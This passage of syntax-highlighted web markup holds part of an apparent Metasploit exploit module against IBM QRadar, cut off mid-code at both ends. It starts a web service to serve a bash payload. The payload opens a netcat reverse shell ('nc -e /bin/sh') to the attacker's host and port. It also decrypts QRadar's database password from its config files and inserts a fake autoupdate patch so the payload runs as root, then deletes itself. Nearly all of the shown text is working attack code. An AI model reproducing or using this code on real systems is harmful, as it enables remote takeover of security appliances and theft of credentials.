id=\"crayon-5b0c805d4c514733524048-139\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">srv_host<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Rex<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">Socket<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">source_address<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rhost<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-140\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-141\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">srv_host<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">datastore<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SRVHOST&#8217;<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-142\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-143\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-144\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">http_service<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">datastore<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SSL&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;https:\/\/&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;http:\/\/&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">srv_host<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;:&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">datastore<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;SRVPORT&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">to_s<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-145\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">service_uri<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">http_service<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;\/&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-e\">payload_name<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-146\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-147\"><span class=\"crayon-e\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">print_status<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;#{peer} &#8211; Starting up our web service on #{http_service} &#8230;&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-148\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">start_service<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-s\">&#8216;Uri&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-149\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Proc&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Proc<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-i\">new<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-v\">cli<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-o\">|<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-150\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">on_request_uri<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">cli<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">req<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-151\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-152\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;Path&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;\/#{@payload_name}&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-153\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-154\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-155\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">payload<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-p\">#!\/bin\/bash<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-156\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-157\"><span class=\"crayon-p\"># our payload that&#8217;s going to be downloaded from our web server<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-158\"><span class=\"crayon-e\">cat<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;&lt;<\/span><span class=\"crayon-e\">EOF<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">store<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">configservices<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">staging<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">updates<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-p\">#{root_payload}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-159\"><span class=\"crayon-p\">#!\/bin\/bash<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-160\"><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">usr<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">nc<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-e\">e<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">sh<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\">#{datastore[&#8216;LHOST&#8217;]} #{datastore[&#8216;LPORT&#8217;]} &amp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-161\"><span class=\"crayon-v\">EOF<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-162\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-163\"><span class=\"crayon-p\">### below is adapted from \/opt\/qradar\/support\/changePasswd.sh<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-164\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">z<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">NVA<\/span><span class=\"crayon-sy\">_<\/span>CONF<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">NVA_CONF<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;\/opt\/qradar\/conf\/nva.conf&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-165\"><span class=\"crayon-v\">NVACONF<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;^NVACONF=&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">NVA<\/span><span class=\"crayon-sy\">_<\/span>CONF<span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">dev<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cut<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">d<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-166\"><span class=\"crayon-v\">FRAMEWORKS_PROPERTIES_FILE<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;frameworks.properties&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-167\"><span class=\"crayon-v\">FORENSICS_USER_FILE<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;config_user.xml&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-168\"><span class=\"crayon-v\">FORENSICS_USER_FILE_CONFIG<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-s\">&#8220;$NVACONF\/$FORENSICS_USER_FILE&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-169\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-170\"><span class=\"crayon-p\"># get the encrypted db password from the config<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-171\"><span class=\"crayon-v\">PASSWORDENCRYPTED<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">cat<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">FORENSICS_USER_FILE_CONFIG<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">grep <\/span><span class=\"crayon-v\">WEBUSER_DB_PASSWORD<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">o<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">P<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;(?&lt;=&gt;)([\\w\\=]*)(?=&lt;)&#8217;<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-172\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-173\"><span class=\"crayon-v\">QVERSION<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">opt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">myver<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">awk<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">F<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;{print $1$2$3}&#8217;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-174\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-175\"><span class=\"crayon-v\">AU_CRYPT<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">opt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">lib<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">Q1<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">auCrypto<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">pm<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-176\"><span class=\"crayon-v\">P_ENC<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">I_P_ENC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">AU_CRYPT<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cut<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">d<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-177\"><span class=\"crayon-v\">P_DEC<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">I_P_DEC<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">AU_CRYPT<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cut<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">d<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">f2<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-178\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-179\"><span class=\"crayon-p\">#if 7.2.8 or greater, use new method for hashing and salting passwords<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-180\"><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">QVERSION<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">gt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">727<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-181\"><span class=\"crayon-st\">then<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-182\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">PASSWORD<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">perl<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">P_DEC<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">base64<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">d<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&lt;<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-v\">PASSWORDENCRYPTED<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-183\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;ERROR: Unable to decrypt $PASSWORDENCRYPTED&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">exit<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">255<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-184\"><span class=\"crayon-st\">else<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-185\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">AESKEY<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-i\">grep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;aes.key=&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">NVACONF<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">FRAMEWORKS_PROPERTIES_FILE<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">cut<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">c9<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-186\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-187\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">PASSWORD<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">`<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">opt<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">runjava<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">sh<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-v\">Daes<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">key<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">AESKEY <\/span><span class=\"crayon-v\">com<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">q1labs<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">frameworks<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">crypto<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">AESUtil <\/span><span class=\"crayon-i\">decrypt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">PASSWORDENCRYPTED<\/span><span class=\"crayon-sy\">`<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-188\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">echo<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;ERROR: Unable to decrypt $PASSWORDENCRYPTED&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">exit<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">255<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-189\"><span class=\"crayon-e\">fi<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-190\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-191\"><span class=\"crayon-v\">PGPASSWORD<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">PASSWORD<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">usr<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">bin<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">psql<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">h<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">localhost<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">U<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">qradar <\/span><span class=\"crayon-v\">qradar<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">c<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\"><\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-192\"><span class=\"crayon-s\">&#8220;insert into autoupdate_patch values (&#8216;#{root_payload}&#8217;,#{rand(1000)+100},&#8217;minor&#8217;,false,#{rand(9999)+100},0,&#8221;,1,false,&#8221;,&#8221;,&#8221;,false)&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-193\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-194\"><span class=\"crayon-p\"># kill ourselves!<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-195\"><span class=\"crayon-sy\">(<\/span><span class=\"crayon-i\">sleep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">rm<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;$0&#8221;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-196\"><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-197\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-198\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># let&#8217;s do step 2 then, ask QRadar to download and execute our payload<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-199\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-e\">print_status<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;#{peer} &#8211; Asking QRadar to download and execute #{service_uri}&#8221;<\/span><span 